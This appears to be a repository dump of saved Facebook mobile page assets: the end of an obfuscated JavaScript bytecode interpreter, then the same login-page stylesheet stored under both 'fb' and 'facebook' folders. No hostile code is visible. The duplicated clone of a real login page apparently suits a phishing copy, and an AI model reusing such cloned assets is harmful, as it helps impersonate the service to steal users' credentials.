w=[],e)w.push(t);e=w}for(t=e.length,w=0;w>=B,U},w(3))+1,w(5)),Y=[],0);y=U.length;)U.push(B.H());f=U[f]}N.push(f)}B.f=(B.$=B.l(X.slice(),B.H),B.l(N,B.H))})}),m(D,149,2048),D),15,function(I){F(I,1)}),function(I,e,z,n,w){m(I,(z=(n=(z=(e=I.H(),I.H()),I.B(I.H())),w=I.B(I.H()),I.B(z)),e),Z(I,z,n,w))})),function(I,e){e=I.H(),I=I.B(e),I[0].removeEventListener(I[1],I[2],false)})),function(I,e){A(I,1,5)||(e=c(I),m(I,e.c,e.L.apply(e.C,e.A)))})),function(I){DH(I,4)})),m(D,205,function(){}),m(D,200,function(I,e,z){0!=(z=(e=I.H(),I.H()),I.B(e))&&m(I,124,I.B(z))}),function(I,e,z,n,w){for(n=(w=(z=k((e=I.H(),I)),0),[]);w=D.K--||D.M.push(254>=G?G:254)),J}},q=function(D,r,J,p,G,I){for(G=D.B(r),95==r?(r=function(e,z,n,w){if(n=(z=G.length,z-4>>3),G.b!=n){w=(n=((G.b=n,n)<<3)-4,[0,0,0,I]);try{G.j=zp(W(G,n),W(G,n+4),w)}catch(t){throw t;}}G.push(G.j[z&7]^e)},I=D.B(148)):r=function(e){G.push(e)},p&&r(p&255),D=J.length,p=0;pG?r[J++]=G:(2048>G?r[J++]=G>>6|192:(55296==(G&64512)&&p+1>18|240,r[J++]=G>>12&63|128):r[J++]=G>>12|224,r[J++]=G>>6&63|128),r[J++]=G&63|128);return r},l=(O.prototype.S=(O.prototype.R=36,((O.prototype.mR=function(D,r,J,p){for(;J--;)124!=J&&136!=J&&r.a[J]&&(r.a[J]=r[p](r[D](J),this));r[D]=this},window.performance)||{}).now?function(){return this.Hr+(window.performance.now()|0)}:function(){return+new Date}),function(D,r,J,p,G){m(D,149,((J=(p=(0==(void 0!=(r=(G=D.B(136),[r,G>>8&255,G&255]),p)&&r.push(p),D.B(164).length)&&(D.a[164]=void 0,m(D,164,r)),""),J&&(J.message&&(p+=J.message),J.stack&&(p+=":"+J.stack)),D).B(149),3)>8*p&255;return J}),C=this||self,I6=function(D,r){m(D,(D.W.push(D.a.slice()),D.a[124]=void 0,124),r)},F=(O.prototype.N="toString",function(D,r,J,p){for(J=D.H(),p=0;0>17,r=(r^r<<5)&J)||(r=1),D^r},O.prototype).J="caller",{}),c=(O.prototype.O=function(D,r,J,p,G){if(r=D[0],r==L){D=D[1];try{for(p=(J=atob(D),D=[],r=0);p>=8),D[r++]=G;this.I=D}catch(I){l(this,17,I)}p_(this)}else if(r==R)J=D[1],J.push(this.B(138).length,this.B(95).length,this.B(50).length,this.B(149)),m(this,158,D[2]),this.a[162]&&V(this,this.B(162));else{if(r==d){if(D=(G=(4<(0<(4<(r=(G=(G=(D=(J=D[2],u)(this.B(138).length+2,2),this.B(164)),0>3&&(this.F=D>>3,r=[0,0,0,this.B(36)],this.s=zp(this.o,this.F,r)),124),D+1),this).I[D]^this.s[D%8]},function(D,r){return D[r]<<24|D[r+1]<<16|D[r+2]<<8|D[r+3]}),m=(O.prototype.P=function(D,r,J,p){q(this,(p=(J=(D&=(r=D&4,3),this).H(),this).H(),J=this.B(J),r&&(J=n_((""+J).replace(/\\r\\n/g,"\\n"))),D&&q(this,p,u(J.length,2)),p),J)},O.prototype.$d=function(D,r,J,p,G){for(G=p=0;G>6;return(p=new Number((D=(p+=p<<3,p^=p>>11,p)+(p<<15)>>>0,D)&(1<>>r)%J,p},function(D,r,J){if(124==r||136==r)if(D.a[r])D.a[r][D.N](J);else D.a[r]=D.w(J);else if(138!=r&&95!=r&&50!=r&&164!=r||!D.a[r])D.a[r]=D.l(J,D.B);36==r&&(D.o=void 0,m(D,124,D.B(124)+4))}),k=function(D,r){return(r=D.H(),r&128)&&(r=r&127|D.H()<<7),r},r5=((O.prototype.Br=C.requestIdleCallback?function(D){requestIdleCallback(D,{timeout:4})}:C.setImmediate?function(D){setImmediate(D)}:function(D){setTimeout(D,0)},O).prototype.X=function(D,r,J,p,G,I){if(this.g)return this.g;try{p=!!D,I=[],G=[],h(this,[R,G,r]),h(this,[d,D,G,I]),b(this,false,p,true),J=I[0]}catch(e){K(this,e),J=this.g,D&&D(J)}return J},O.prototype.v=35,{}),A=(O.prototype.O7=function(D,r,J,p,G,I){for(I=(J=[],p=0);I>p&255);return J},function(D,r,J){if(0>=D.Y||1J;J++)r[J]+=D[J];for(D=[13,8,13,12,(J=0,16),5,3,10,15];9>J;J++)r[3](r,J%3,D[J])}},O.prototype.I1=function(D,r,J,p){try{p=D[(r+2)%3],D[r]=D[r]-D[(r+1)%3]-p^(1==r?p<>>J)}catch(G){throw G;}},{}),V=(O.prototype.V=false,function(D,r,J){return p_(D,(J=D.B(124),D.I&&J>>5)+r^p+J[p&3],p+=3172301049,r+=(D<<4^D>>>5)+D^p+J[p>>>11&3];return[D>>>24,D>>16&255,D>>8&255,D&255,r>>>24,r>>16&255,r>>8&255,r&255]}catch(G){throw G;}};M.ZLK=(M.bg=function(D,r,J){return D&&D.substring&&(J=M[D.substring(0,3)])?new J(D.substring(3),r):new M.ZLK(D,r)},function(D,r,J){this.invoke=(J=new O(D,{D:r}),function(p,G,I){return(I=J.X(G&&p,I),p)&&!G&&p(I),I})});try{M.u||(C.addEventListener("unload",function(){},x),M.u=1)}catch(D){}try{C.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){x={passive:true}}}))}catch(D){};')(); -------------------------------------------------------------------------------- /fb/mobile_files/V0Om-DH9YTH.css: -------------------------------------------------------------------------------- 1 | .touch ._5ui2 ._5dpw{text-align:center}.touch ._5ui3{padding:6px}.touch ._44ii b,.touch ._44ii .sec{font-size:14px} 2 | .touch ._qw9{padding:0}.touch ._qw9.grouped>.area{border:0;border-radius:0}.touch ._qw9 .touchableArea.acy.touched{background:#efe6ce;color:inherit}.touch ._qw9 .touchableArea{margin:0}.touch ._qw9 .ib{align-items:center}.touch ._qw9 .ib .img.l{margin:0 8px}.touch ._4fmw .touchableArea.acy.touched{background:#efe6ce;color:inherit}.touch ._4fmw .touchableArea{margin:0}.touch ._4fmw .ib{align-items:center}.touch ._4fmw .ib .img.l{margin:0 10px 0 7px}._2s9m{background:#fff;border-bottom:solid 1px #bec3c9;border-top:solid 1px #bec3c9;padding-bottom:7px;padding-left:5px;padding-right:5px;padding-top:7px}._1pcf{background:#3b5998;border-top:solid 1px #20375f;padding-bottom:7px;padding-left:5px;padding-right:5px;padding-top:7px}._1rrc{margin:3px}._1rrd{border:1px solid #3b5998;border-radius:3px;color:#3578e5;display:block;font-size:large;height:18px;line-height:17px;margin-right:1px;text-align:center;vertical-align:middle;width:18px}._1pci{background:rgba(255, 255, 255, .15);border:1px solid #fff;border-radius:3px;color:#fff;display:block;font-size:large;height:18px;line-height:17px;margin:4px;margin-right:3px;text-align:center;vertical-align:middle;width:18px}._3j87{margin:0 auto}._3j87 .img{margin:3px 0} 3 | html ._3qsy._3qsy{border:1px solid #fa3e3e}.touch ._3qs-{color:#fa3e3e}.touch ._3qsy{border-radius:4px} 4 | .touch ._4u9z{padding:12px}._6wpq ._4u9z{padding:0 10px} 5 | 6 | a._kmt:link{background:#4080ff url(/rsrc.php/v3/yM/r/bc-NvHl4o7d.png) no-repeat right 12px center;border-radius:4pt;color:#fff;display:block;font-family:system-ui, -apple-system, BlinkMacSystemFont, '.SFNSText-Regular', sans-serif;font-size:14px;font-weight:bold;margin-top:20px;padding:9px 30px 9px 10px;text-align:center} 7 | ._5soa ._5rut .other-links{padding-bottom:36px;text-align:center}._5soa ._5rut .other-links a{color:#7596c8;font-size:12px;line-height:16px}._5soa ._5rut .other-links span{color:#4b4f56;font-size:12px;line-height:16px}._5soa ._5rut{padding:0 16px}._5soa ._6wpq ._5rut{padding:0}._5spm{padding-bottom:1px;padding-top:16px}._6wpq ._5spm{padding-top:0}._5spm._6red{padding-bottom:16px}._6ur7{padding-top:16px}._xo8{margin-bottom:-15px;margin-top:15px}._5t3a{padding-right:12px}._5th0{vertical-align:middle}._5sob>div>input{border-bottom:1px solid #e5e5e5;border-bottom-color:rgba(0, 0, 0, .101);border-radius:0;line-height:20px}._5sob>div>input:first-child{border-radius:4px 4px 0 0}._5sob>div>input:last-child{border-bottom:none}._5sob ._1ng0{border-bottom:none}._5sob>div>h3{border-bottom:0}._5soc{background-color:#fff;padding:8px 12px;position:relative;z-index:5}._5sod{border-top:1px solid rgba(0, 0, 0, .180392);padding:6px 12px;width:100%}._5srj{overflow:hidden;position:relative}._5sri{transition:height 200ms ease}._5t3b{padding:12px 0 12px 0}._5t3b._6rek{padding-bottom:0}html .touch ._5soa ._28le{background:#00a400;border:none;box-shadow:none}.touch ._5soa ._28le.touched{background:#86df81}.touch ._5t3b a._5t3c{height:36px;padding-left:16px;padding-right:16px;padding-top:5px}.touch ._5t3b>._5t3c::before{background-color:#46a800;border-color:#60a62e #519f18 #409701}.touch ._5t3b>._5t3c.touched::before{background-color:#008c00}.touch ._5t3b>._28le::before{background-color:#00a400;border:none}.touch ._5t3b>._28le.touched::before{background-color:#86df81}.__y5{color:#4b4f56;display:block;font-size:14px;margin-top:2px;text-align:center}.__y6{background:#ccd0d5;content:"";height:1px;margin-bottom:10px;margin-top:16px}._69ij{background:#ccd0d5;content:"";height:1px;margin-bottom:10px;margin-top:16px}.__y7{margin-top:5px}._43mg{display:block;margin-left:5%;margin-right:5%;margin-top:10px;overflow:hidden;text-align:center;white-space:nowrap;width:90%}._43mg._6xq8{margin-bottom:-4px;margin-top:0;padding-top:12px}._43mg._6xqa>span:before,._43mg._6xqa>span:after{display:none}._43mg>span{display:inline-block;position:relative}._43mg>span:before,._43mg>span:after{background:#ccd0d5;content:"";height:1px;position:absolute;top:50%;width:9999px}._43mg>span:before{margin-right:15px;right:100%}._43mg>span:after{left:100%;margin-left:15px}._43mh{color:#4b4f56}._3bq_{display:block;margin-bottom:10px;margin-left:5%;margin-right:5%;overflow:hidden;text-align:center;white-space:nowrap;width:90%}._3bq_>span{display:inline-block;position:relative}._3bq_>span:before,._3bq_>span:after{background:#ccd0d5;content:"";height:1px;position:absolute;top:50%;width:9999px}._3bq_>span:before{margin-right:15px;right:100%}._3bq_>span:after{left:100%;margin-left:15px}html .touch ._5t3b>._15l9{font-size:14px;height:36px;padding:5px 16px 0 16px}._3br0{color:#444950;font-size:14px;line-height:16px;margin-bottom:0;margin-top:3px;text-align:center;width:auto}._3br2{color:#444950;font-size:14px;line-height:16px;padding-top:12px;text-align:center;width:auto}._5soa ._5-p8{font-weight:bold}._5soa .__y8{font-size:16px}._5soa ._5-p9{margin-top:0}._5t3b ._5-p8 a{color:green}._5spm ._5-p8{color:#4267b2}._10yp ._5m_u{margin:0 20px 0 20px}._10yp ._10yv{padding:24px 20px 10px 20px}._10yw{margin:20px 0 20px 0}._10yx{text-align:right}.touch a._10yy{color:#7f7f7f;display:inline-block;padding:10px}.touch a._10yz{color:#4267b2}.touch ._6u_2{margin:20px 0 0 0}.touch ._3dcp{cursor:default;font-weight:bold;padding-bottom:12px}.touch ._1syy{cursor:default;font-weight:bold;overflow:hidden;padding-bottom:8px;padding-top:8px}.touch ._7eif{padding-top:12px}.touch ._7eig{background-color:#fff;font-size:14px;height:36px;line-height:36px}.touch ._7eig::after{border:none}.touch ._7f_d{padding:12px 10px 6px}.touch ._7f_4{color:#606770;font-size:12px;line-height:16px}.touch ._7eih{height:20px;left:16px;position:absolute;width:20px}.touch ._33mq{cursor:default;font-weight:bold;padding-bottom:8px;padding-top:8px}.touch ._33my{cursor:default;font-weight:bold;overflow:hidden;padding-bottom:8px;padding-top:8px}.touch ._3dcq{cursor:default;font-size:16px;padding-bottom:12px}.touch ._1syz{cursor:default}.touch ._18hp{font-size:16px;font-weight:bold}.touch ._1-z5{height:0;width:0}.touch ._47k7{background-color:transparent;border-color:lightgray;border-radius:3px;border-style:solid;border-width:1px}.touch ._48n2{background-color:#fff;border-color:lightgray;border-radius:3px;border-style:solid;border-width:1px}.touch ._33a-{line-height:40px}.touch ._33b2{margin:4px 0 4px 4px}.touch ._47k8{background-color:transparent;padding:12px}.touch ._47k9{display:block;font-weight:bold;padding-bottom:12px}.touch ._47ka{padding:10px}.touch ._5soa ._28lf.touched::before{background:#77a7ff}.touch ._5soa ._28lf::before{background-color:#3578e5;background-image:none}html .touch ._5soa ._28lf::after{border-image:none;border-width:0}.touch ._5soa ._6b64{margin:12px 0}.touch ._6r3k{font-family:'Roboto-Regular';font-size:14px;line-height:16px;padding-bottom:8px} 8 | .touch ._3-q1{background-color:#eceff5}.touch ._3-q2{padding:38px;padding-bottom:12px}.touch ._4t0x{border-radius:40px;margin-bottom:16px}.touch ._3-q3{border-radius:12px;margin-bottom:16px}.touch ._3-q1 .other-links{padding-top:12px}.touch ._3-q1 .other-links a{color:#90949c}.touch ._7tb{display:none}.touch a._1x83:link{background:#4267b2;border-radius:4pt;color:#fff;display:block;font-family:system-ui, -apple-system, BlinkMacSystemFont, '.SFNSText-Regular', sans-serif;font-size:14px;font-weight:bold;margin-top:30px;padding:9px 30px 9px 10px;text-align:center}.touch ._1x84{display:block;margin:30px 0 12px;overflow:hidden;text-align:center;white-space:nowrap}.touch ._1x84>span{color:#90949c;display:inline-block;font-size:16px;position:relative}.touch ._1x84>span:before,.touch ._1x84>span:after{background:#ccd0d5;content:"";height:1px;position:absolute;top:50%;width:9999px}.touch ._1x84>span:before{margin-right:15px;right:100%}.touch ._1x84>span:after{left:100%;margin-left:15px}.touch ._4581{margin-top:10px;text-align:center}.touch ._1201{margin-top:10px;text-align:center}.touch ._2di-{background-color:#edf2fa;height:5px;overflow:hidden;position:absolute;transition:all 0ms ease-out;width:100%;z-index:0}.touch ._2di_{background-color:#4080ff;height:4px;overflow:hidden;position:absolute;width:100%} 9 | .touch ._2hda{background-color:#1379fb}.touch ._2hda._5bzu{background-color:#3b5998}.touch ._2hdb{padding-bottom:16px;padding-top:30px;text-align:center}.touch ._29ut ._2hdb{padding-top:0}.touch ._2hdc{color:#fff;font-family:'HelveticaNeue-Bold', 'Helvetica Neue Bold', 'Helvetica Neue', Helvetica, sans-serif;font-size:14px;line-height:19px}.touch ._29ut ._2hdc{color:#000}.touch ._2hdd{color:#fff;font-family:"HelveticaNeue-Light", "Helvetica Neue Light", Helvetica Neue, "sans-serif-light", sans-serif}.touch ._29ut ._2hdd{color:#000;margin-left:10%;margin-right:10%}.touch ._2hd9 ._2hda ._2hdf{background-color:transparent}.touch ._2hd9 ._2hda ._2hdf ._1upc{background-color:transparent}.touch ._2hd9 ._2hda ._2hdf::before{border:none;bottom:0;box-sizing:border-box;left:0;right:0;top:0}.touch ._2hd9 ._2hdf>div>input{margin-bottom:8px}.touch ._2hd9 ._2hdf>div input{border-radius:4px}.touch ._2hd9 ._2hdg{background:#0084ff;border:1px solid #0084ff;border-radius:4px;box-shadow:none;color:#fff;font-family:"Helvetica Neue", "Helvetica", "Arial", sans-serif;font-size:14px;font-weight:normal;text-shadow:none}.touch ._2hd9 ._2hdg::before{background-color:#0084ff;background-image:none}.touch ._2hd9 ._2hdg::after{border:none}.touch ._2hd9 ._5bzu ._2hdg{background:#4267b2;border:none}.touch ._2hd9 ._5bzu ._2hdg::before{background-color:#4267b2}.touch ._29ut,.touch ._29ut ._4-4l,.touch ._29ut ._2hda,.touch ._29ut ._2hda._5bzu{background-color:#fff}.touch ._2hda ._66_n{color:#1479fb}._29ut ._29u-{color:#000}.touch ._2hda a{color:#000} 10 | .touch ._27z2{line-height:20px}._27z2{box-sizing:border-box;width:100%} 11 | ._1upc{background-color:#fff}._3npi{border:solid 1px #999}.touch ._216i a{border-radius:4px;color:#3578e5;font-weight:bold;padding:4px}.touch ._216i a:active{color:#4773cc}html ._pg8._pg8{border:1px solid #fa3e3e}html ._pg8 ._3qsy{border:none}html ._6wpq ._pg8{border:none;border-radius:0}._6wpq ._pg8 ._1upc{border:1px solid #fa3e3e}.touch ._pg8{border-radius:0 0 4px 4px} 12 | ._6wpq ._3ztc a:focus{background-color:#3578e5;border-radius:2px;color:#fff;padding:0 2px}._6wpq a:focus ._3ztd{background-color:#3578e5}._6wpq a:focus ._3ztd i{-webkit-filter:invert(100%)} 13 | .grouped{padding:8px 0}.grouped>.area{border-left-style:solid;border-left-width:1px;border-right-style:solid;border-right-width:1px;margin:0 8px}.grouped .first{background-clip:padding-box;border-top-left-radius:8px;border-top-right-radius:8px;border-top-style:solid;border-top-width:1px}.grouped .last{background-clip:padding-box;border-bottom-left-radius:8px;border-bottom-right-radius:8px;border-bottom-style:solid;border-bottom-width:1px}.touch .grouped .al{background:none;border:0;height:auto;margin:0;padding-bottom:8px;padding-left:17px}.touch .grouped.inset>.acw{border-color:rgba(0, 0, 0, .185)}.touch .grouped.inset>.first{box-shadow:inset 0 1px 1px rgba(0, 0, 0, .1)}.touch .grouped.inset>.last{box-shadow:0 1px 0 rgba(255, 255, 255, .8)}.touch .grouped.inset>.first.last{box-shadow:inset 0 1px 1px rgba(0, 0, 0, .1), 0 1px 0 rgba(255, 255, 255, .8)}.touch .grouped.inset .textInputAreaLabel.apl{padding-left:11px;padding-right:11px}.touch .grouped.inset .textInputArea .tiapl{padding:12px 11px 13px}.touch .grouped.inset .textInputArea .mClearButtonWrapper{padding-right:11px} 14 | .touch .touchableArea{align-items:center;display:block;display:flex;min-height:27px}.touch.ff .touchableArea{display:block}.touch .touchableArea.centered{justify-content:center}.touch .touchableArea.touched{background:#627aad;color:#fff}.ios.app .touchableArea.touched{background:linear-gradient(#058cf5 0%, #015de6 70%)}.touch .touchableArea.hasArrow{padding-right:26px;position:relative}.touch .touchableArea.hasArrow .arrow{margin-top:-6px;position:absolute;right:8px;top:50%} 15 | ._5yc_{background:#3578e5}._5yd0{background:#fa3e3e}._5yd1{color:#fff}._6wpq ._5yd1 a:focus{background-color:#3578e5;color:#fff;padding:2px}.touch ._5yd1 a,.touch ._5yd1 a:visited{color:#fff;font-weight:bold} 16 | 17 | #bootloader_gJFto{height:42px;}.bootloader_gJFto{display:block!important;} -------------------------------------------------------------------------------- /facebook/mobile_files/V0Om-DH9YTH.css: -------------------------------------------------------------------------------- 1 | .touch ._5ui2 ._5dpw{text-align:center}.touch ._5ui3{padding:6px}.touch ._44ii b,.touch ._44ii .sec{font-size:14px} 2 | .touch ._qw9{padding:0}.touch ._qw9.grouped>.area{border:0;border-radius:0}.touch ._qw9 .touchableArea.acy.touched{background:#efe6ce;color:inherit}.touch ._qw9 .touchableArea{margin:0}.touch ._qw9 .ib{align-items:center}.touch ._qw9 .ib .img.l{margin:0 8px}.touch ._4fmw .touchableArea.acy.touched{background:#efe6ce;color:inherit}.touch ._4fmw .touchableArea{margin:0}.touch ._4fmw .ib{align-items:center}.touch ._4fmw .ib .img.l{margin:0 10px 0 7px}._2s9m{background:#fff;border-bottom:solid 1px #bec3c9;border-top:solid 1px #bec3c9;padding-bottom:7px;padding-left:5px;padding-right:5px;padding-top:7px}._1pcf{background:#3b5998;border-top:solid 1px #20375f;padding-bottom:7px;padding-left:5px;padding-right:5px;padding-top:7px}._1rrc{margin:3px}._1rrd{border:1px solid #3b5998;border-radius:3px;color:#3578e5;display:block;font-size:large;height:18px;line-height:17px;margin-right:1px;text-align:center;vertical-align:middle;width:18px}._1pci{background:rgba(255, 255, 255, .15);border:1px solid #fff;border-radius:3px;color:#fff;display:block;font-size:large;height:18px;line-height:17px;margin:4px;margin-right:3px;text-align:center;vertical-align:middle;width:18px}._3j87{margin:0 auto}._3j87 .img{margin:3px 0} 3 | html ._3qsy._3qsy{border:1px solid #fa3e3e}.touch ._3qs-{color:#fa3e3e}.touch ._3qsy{border-radius:4px} 4 | .touch ._4u9z{padding:12px}._6wpq ._4u9z{padding:0 10px} 5 | 6 | a._kmt:link{background:#4080ff url(/rsrc.php/v3/yM/r/bc-NvHl4o7d.png) no-repeat right 12px center;border-radius:4pt;color:#fff;display:block;font-family:system-ui, -apple-system, BlinkMacSystemFont, '.SFNSText-Regular', sans-serif;font-size:14px;font-weight:bold;margin-top:20px;padding:9px 30px 9px 10px;text-align:center} 7 | ._5soa ._5rut .other-links{padding-bottom:36px;text-align:center}._5soa ._5rut .other-links a{color:#7596c8;font-size:12px;line-height:16px}._5soa ._5rut .other-links span{color:#4b4f56;font-size:12px;line-height:16px}._5soa ._5rut{padding:0 16px}._5soa ._6wpq ._5rut{padding:0}._5spm{padding-bottom:1px;padding-top:16px}._6wpq ._5spm{padding-top:0}._5spm._6red{padding-bottom:16px}._6ur7{padding-top:16px}._xo8{margin-bottom:-15px;margin-top:15px}._5t3a{padding-right:12px}._5th0{vertical-align:middle}._5sob>div>input{border-bottom:1px solid #e5e5e5;border-bottom-color:rgba(0, 0, 0, .101);border-radius:0;line-height:20px}._5sob>div>input:first-child{border-radius:4px 4px 0 0}._5sob>div>input:last-child{border-bottom:none}._5sob ._1ng0{border-bottom:none}._5sob>div>h3{border-bottom:0}._5soc{background-color:#fff;padding:8px 12px;position:relative;z-index:5}._5sod{border-top:1px solid rgba(0, 0, 0, .180392);padding:6px 12px;width:100%}._5srj{overflow:hidden;position:relative}._5sri{transition:height 200ms ease}._5t3b{padding:12px 0 12px 0}._5t3b._6rek{padding-bottom:0}html .touch ._5soa ._28le{background:#00a400;border:none;box-shadow:none}.touch ._5soa ._28le.touched{background:#86df81}.touch ._5t3b a._5t3c{height:36px;padding-left:16px;padding-right:16px;padding-top:5px}.touch ._5t3b>._5t3c::before{background-color:#46a800;border-color:#60a62e #519f18 #409701}.touch ._5t3b>._5t3c.touched::before{background-color:#008c00}.touch ._5t3b>._28le::before{background-color:#00a400;border:none}.touch ._5t3b>._28le.touched::before{background-color:#86df81}.__y5{color:#4b4f56;display:block;font-size:14px;margin-top:2px;text-align:center}.__y6{background:#ccd0d5;content:"";height:1px;margin-bottom:10px;margin-top:16px}._69ij{background:#ccd0d5;content:"";height:1px;margin-bottom:10px;margin-top:16px}.__y7{margin-top:5px}._43mg{display:block;margin-left:5%;margin-right:5%;margin-top:10px;overflow:hidden;text-align:center;white-space:nowrap;width:90%}._43mg._6xq8{margin-bottom:-4px;margin-top:0;padding-top:12px}._43mg._6xqa>span:before,._43mg._6xqa>span:after{display:none}._43mg>span{display:inline-block;position:relative}._43mg>span:before,._43mg>span:after{background:#ccd0d5;content:"";height:1px;position:absolute;top:50%;width:9999px}._43mg>span:before{margin-right:15px;right:100%}._43mg>span:after{left:100%;margin-left:15px}._43mh{color:#4b4f56}._3bq_{display:block;margin-bottom:10px;margin-left:5%;margin-right:5%;overflow:hidden;text-align:center;white-space:nowrap;width:90%}._3bq_>span{display:inline-block;position:relative}._3bq_>span:before,._3bq_>span:after{background:#ccd0d5;content:"";height:1px;position:absolute;top:50%;width:9999px}._3bq_>span:before{margin-right:15px;right:100%}._3bq_>span:after{left:100%;margin-left:15px}html .touch ._5t3b>._15l9{font-size:14px;height:36px;padding:5px 16px 0 16px}._3br0{color:#444950;font-size:14px;line-height:16px;margin-bottom:0;margin-top:3px;text-align:center;width:auto}._3br2{color:#444950;font-size:14px;line-height:16px;padding-top:12px;text-align:center;width:auto}._5soa ._5-p8{font-weight:bold}._5soa .__y8{font-size:16px}._5soa ._5-p9{margin-top:0}._5t3b ._5-p8 a{color:green}._5spm ._5-p8{color:#4267b2}._10yp ._5m_u{margin:0 20px 0 20px}._10yp ._10yv{padding:24px 20px 10px 20px}._10yw{margin:20px 0 20px 0}._10yx{text-align:right}.touch a._10yy{color:#7f7f7f;display:inline-block;padding:10px}.touch a._10yz{color:#4267b2}.touch ._6u_2{margin:20px 0 0 0}.touch ._3dcp{cursor:default;font-weight:bold;padding-bottom:12px}.touch ._1syy{cursor:default;font-weight:bold;overflow:hidden;padding-bottom:8px;padding-top:8px}.touch ._7eif{padding-top:12px}.touch ._7eig{background-color:#fff;font-size:14px;height:36px;line-height:36px}.touch ._7eig::after{border:none}.touch ._7f_d{padding:12px 10px 6px}.touch ._7f_4{color:#606770;font-size:12px;line-height:16px}.touch ._7eih{height:20px;left:16px;position:absolute;width:20px}.touch ._33mq{cursor:default;font-weight:bold;padding-bottom:8px;padding-top:8px}.touch ._33my{cursor:default;font-weight:bold;overflow:hidden;padding-bottom:8px;padding-top:8px}.touch ._3dcq{cursor:default;font-size:16px;padding-bottom:12px}.touch ._1syz{cursor:default}.touch ._18hp{font-size:16px;font-weight:bold}.touch ._1-z5{height:0;width:0}.touch ._47k7{background-color:transparent;border-color:lightgray;border-radius:3px;border-style:solid;border-width:1px}.touch ._48n2{background-color:#fff;border-color:lightgray;border-radius:3px;border-style:solid;border-width:1px}.touch ._33a-{line-height:40px}.touch ._33b2{margin:4px 0 4px 4px}.touch ._47k8{background-color:transparent;padding:12px}.touch ._47k9{display:block;font-weight:bold;padding-bottom:12px}.touch ._47ka{padding:10px}.touch ._5soa ._28lf.touched::before{background:#77a7ff}.touch ._5soa ._28lf::before{background-color:#3578e5;background-image:none}html .touch ._5soa ._28lf::after{border-image:none;border-width:0}.touch ._5soa ._6b64{margin:12px 0}.touch ._6r3k{font-family:'Roboto-Regular';font-size:14px;line-height:16px;padding-bottom:8px} 8 | .touch ._3-q1{background-color:#eceff5}.touch ._3-q2{padding:38px;padding-bottom:12px}.touch ._4t0x{border-radius:40px;margin-bottom:16px}.touch ._3-q3{border-radius:12px;margin-bottom:16px}.touch ._3-q1 .other-links{padding-top:12px}.touch ._3-q1 .other-links a{color:#90949c}.touch ._7tb{display:none}.touch a._1x83:link{background:#4267b2;border-radius:4pt;color:#fff;display:block;font-family:system-ui, -apple-system, BlinkMacSystemFont, '.SFNSText-Regular', sans-serif;font-size:14px;font-weight:bold;margin-top:30px;padding:9px 30px 9px 10px;text-align:center}.touch ._1x84{display:block;margin:30px 0 12px;overflow:hidden;text-align:center;white-space:nowrap}.touch ._1x84>span{color:#90949c;display:inline-block;font-size:16px;position:relative}.touch ._1x84>span:before,.touch ._1x84>span:after{background:#ccd0d5;content:"";height:1px;position:absolute;top:50%;width:9999px}.touch ._1x84>span:before{margin-right:15px;right:100%}.touch ._1x84>span:after{left:100%;margin-left:15px}.touch ._4581{margin-top:10px;text-align:center}.touch ._1201{margin-top:10px;text-align:center}.touch ._2di-{background-color:#edf2fa;height:5px;overflow:hidden;position:absolute;transition:all 0ms ease-out;width:100%;z-index:0}.touch ._2di_{background-color:#4080ff;height:4px;overflow:hidden;position:absolute;width:100%} 9 | .touch ._2hda{background-color:#1379fb}.touch ._2hda._5bzu{background-color:#3b5998}.touch ._2hdb{padding-bottom:16px;padding-top:30px;text-align:center}.touch ._29ut ._2hdb{padding-top:0}.touch ._2hdc{color:#fff;font-family:'HelveticaNeue-Bold', 'Helvetica Neue Bold', 'Helvetica Neue', Helvetica, sans-serif;font-size:14px;line-height:19px}.touch ._29ut ._2hdc{color:#000}.touch ._2hdd{color:#fff;font-family:"HelveticaNeue-Light", "Helvetica Neue Light", Helvetica Neue, "sans-serif-light", sans-serif}.touch ._29ut ._2hdd{color:#000;margin-left:10%;margin-right:10%}.touch ._2hd9 ._2hda ._2hdf{background-color:transparent}.touch ._2hd9 ._2hda ._2hdf ._1upc{background-color:transparent}.touch ._2hd9 ._2hda ._2hdf::before{border:none;bottom:0;box-sizing:border-box;left:0;right:0;top:0}.touch ._2hd9 ._2hdf>div>input{margin-bottom:8px}.touch ._2hd9 ._2hdf>div input{border-radius:4px}.touch ._2hd9 ._2hdg{background:#0084ff;border:1px solid #0084ff;border-radius:4px;box-shadow:none;color:#fff;font-family:"Helvetica Neue", "Helvetica", "Arial", sans-serif;font-size:14px;font-weight:normal;text-shadow:none}.touch ._2hd9 ._2hdg::before{background-color:#0084ff;background-image:none}.touch ._2hd9 ._2hdg::after{border:none}.touch ._2hd9 ._5bzu ._2hdg{background:#4267b2;border:none}.touch ._2hd9 ._5bzu ._2hdg::before{background-color:#4267b2}.touch ._29ut,.touch ._29ut ._4-4l,.touch ._29ut ._2hda,.touch ._29ut ._2hda._5bzu{background-color:#fff}.touch ._2hda ._66_n{color:#1479fb}._29ut ._29u-{color:#000}.touch ._2hda a{color:#000} 10 | .touch ._27z2{line-height:20px}._27z2{box-sizing:border-box;width:100%} 11 | ._1upc{background-color:#fff}._3npi{border:solid 1px #999}.touch ._216i a{border-radius:4px;color:#3578e5;font-weight:bold;padding:4px}.touch ._216i a:active{color:#4773cc}html ._pg8._pg8{border:1px solid #fa3e3e}html ._pg8 ._3qsy{border:none}html ._6wpq ._pg8{border:none;border-radius:0}._6wpq ._pg8 ._1upc{border:1px solid #fa3e3e}.touch ._pg8{border-radius:0 0 4px 4px} 12 | ._6wpq ._3ztc a:focus{background-color:#3578e5;border-radius:2px;color:#fff;padding:0 2px}._6wpq a:focus ._3ztd{background-color:#3578e5}._6wpq a:focus ._3ztd i{-webkit-filter:invert(100%)} 13 | .grouped{padding:8px 0}.grouped>.area{border-left-style:solid;border-left-width:1px;border-right-style:solid;border-right-width:1px;margin:0 8px}.grouped .first{background-clip:padding-box;border-top-left-radius:8px;border-top-right-radius:8px;border-top-style:solid;border-top-width:1px}.grouped .last{background-clip:padding-box;border-bottom-left-radius:8px;border-bottom-right-radius:8px;border-bottom-style:solid;border-bottom-width:1px}.touch .grouped .al{background:none;border:0;height:auto;margin:0;padding-bottom:8px;padding-left:17px}.touch .grouped.inset>.acw{border-color:rgba(0, 0, 0, .185)}.touch .grouped.inset>.first{box-shadow:inset 0 1px 1px rgba(0, 0, 0, .1)}.touch .grouped.inset>.last{box-shadow:0 1px 0 rgba(255, 255, 255, .8)}.touch .grouped.inset>.first.last{box-shadow:inset 0 1px 1px rgba(0, 0, 0, .1), 0 1px 0 rgba(255, 255, 255, .8)}.touch .grouped.inset 